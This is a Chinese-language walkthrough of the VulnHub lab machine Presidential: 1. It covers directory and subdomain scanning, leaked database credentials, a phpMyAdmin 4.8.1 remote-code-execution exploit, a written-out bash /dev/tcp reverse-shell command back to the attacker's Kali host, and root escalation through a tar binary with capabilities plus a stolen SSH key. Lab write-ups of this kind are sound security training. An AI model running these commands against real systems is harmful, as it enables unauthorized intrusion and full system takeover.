vulnhub靶机:presidential1

目录

进行靶机ip的扫描

nmap扫描开发的端口和服务信息

目录扫描

修改host文件

子域名搜集

phpmyadmin管理端登录

phpmyadmin漏洞利用

反弹shell

capabilities提权

获取root权限

靶机总结


靶机下载网址:Presidential: 1 ~ VulnHub

Kali ip:192.168.174.128

靶机ip为192.168.174.138

进行靶机ip的扫描

确认靶机ip为192.168.174.138

nmap扫描开发的端口和服务信息

这里可以看到开放80端口,php版本为5.5,开放2082端口的ssh协议

查看开放web服务,界面很真实

目录扫描

python dirsearch.py -u http://192.168.174.138

可以看到有配置文件和配置文件.bak

可以选择直接访问页面进行查看源代码,这里选择使用linux的curl命令进行查看页面的返回信息

把账号密码粘贴下来:

$dbUser = "votebox";

$dbPass = "casoj3FFASPsbyoRP";

$dbHost = "localhost";

$dbname = "votebox";

附上curl的参数

到这里尝试一下ssh登录

可以发现登录失败,这里直接登录,没有认证信息,所以失败

查看其它扫描到的目录没有其他可以利用的点

修改host文件

从index页面可以看出,邮箱的地方有点蹊跷,可能存在内部域名,这里修改一下host文件为votenow.local

添加成功也正常访问

再次对网站进行目录扫描

子域名搜集

发现什么都没扫描出来,这里尝试使用wfuzz去检查它的子域名,当然也可以使用其他的如子域名挖掘机等,这里参考大福老师视频里面的命令

wfuzz -H 'HOST: FUZZ.votenow.local' -u 'http://192.168.174.138' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hw 854,45

附上具体参数的含义

-H header : Use header (ex:"Cookie:id=1312321&user=FUZZ"). Repeat option for various headers.

-u url : Specify a URL for the request.

-w wordlist : Specify a wordlist file (alias for -z file,wordlist).

--hc/hl/hw : Hide responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)

这里再次对host文件进行修改,然后就正常可以显示http://datasafe.votenow.local/的页面内容了

phpmyadmin管理端登录

这里尝试使用之前页面config.php.bak泄露的账号密码进行登录

成功登录

这里对数据库进行查看,在votebox库中发现user表,其中有admin的账号和密码,这里尝试使用john对密码进行破解

$2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i

这里我用的默认的字典

破解大概几分钟 也就出来了

phpmyadmin漏洞利用

接下来我们有了admin的账号和密码Stella

但是不知道在哪里进行登录啊,然后发现phpmyadmin的版本为4.8.1,查找一下有没有可用的漏洞

可以看到有一个远程代码执行rce漏洞

下载到本地进行查看

可以在脚本中发现脚本的使用方法

可以看到这里的第一行指令是没有返回结果的

原因是url3的地址,可能不太一样,有的地址是session,有的地址是sessions

(参考的b站大福安全的视频,对这里的session进行修改的)

这里再次运行whoami命令,发现运行成功

反弹shell

bash -i >& /dev/tcp/192.168.174.128/4444 0>&1

反弹shell成功

切换到我们之前找到的admin用户

这里提示我们利用新命令备份和压缩敏感文件

上传脚本进行扫描

但是没发现什么有用信息

capabilities提权

这里从其他的师傅那边学到一个新的知识

查找:/usr/sbin/getcap -r / 2>/dev/null

参考文章Linux提权之:利用capabilities提权 - f_carey - 博客园

我们运行SUID的命令时,通常只是需要使用一小部分特权,但是使用SUID,却可以拥有root用户的全部权限。所以,一旦SUID的文件存在漏洞,便可能被利用,以root身份执行其他操作。SUID的问题,主要在于权限控制太粗糙。为了对root身份进行更加精细的控制,Linux增加了另一种机制,即capabilities。Capabilities机制,是在Linux内核2.2之后引入的。它将root用户的权限细分为不同的领域,可以分别启用或禁用。从而,在实际进行特权操作时,如果euid不是root,便会检查是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。

查找设置了capabilities可执行文件:/usr/sbin/getcap -r / 2>/dev/null

这里发现一个奇怪的tarS命令

[admin@votenow ~]$ ls -al /usr/bin/tarS

ls -al /usr/bin/tarS

-rwx------. 1 admin admin 346136 Jun 27  2020 /usr/bin/tarS

查看发现是admin权限

查看一下命令帮助,类似于tar命令

压缩root文件夹下的所有文件为root.tar

解压压缩好的文件

查看到flag文件

获取root权限

这里只是查看到了root的所有文件,但是还没有获得靶机的最高权限,这里在root文件夹下进行查找,发现ssh隐藏文件下存在密钥,利用密钥进行ssh登录

-i加上密钥,-p加上端口,发现登录后就是root权限了,提权成功

靶机总结

这个靶机之开启了80端口和用于ssh的2082端口,ssh登录需要认证,所以必须找到密钥才能进行登录,在80端口,首先扫描目录找到账号密码,然后修改host文件实现域名解析,再次扫描目录没有得到有用信息,进行子域名查找,再次修改host得到一个phpmyadmin的登陆界面,登录之后得到admin的密码,利用phpmyadmin的RCE漏洞进行反弹shell,切换用户到admin,到这就没了什么思路,又了解到了capability提权(也可以使用脚本linpeas.sh进行扫描),利用命令进行压缩再解压查看root目录,利用密钥进行ssh登录,最后得到root权限。

猜你喜欢

转载自blog.csdn.net/weixin_52450702/article/details/128290467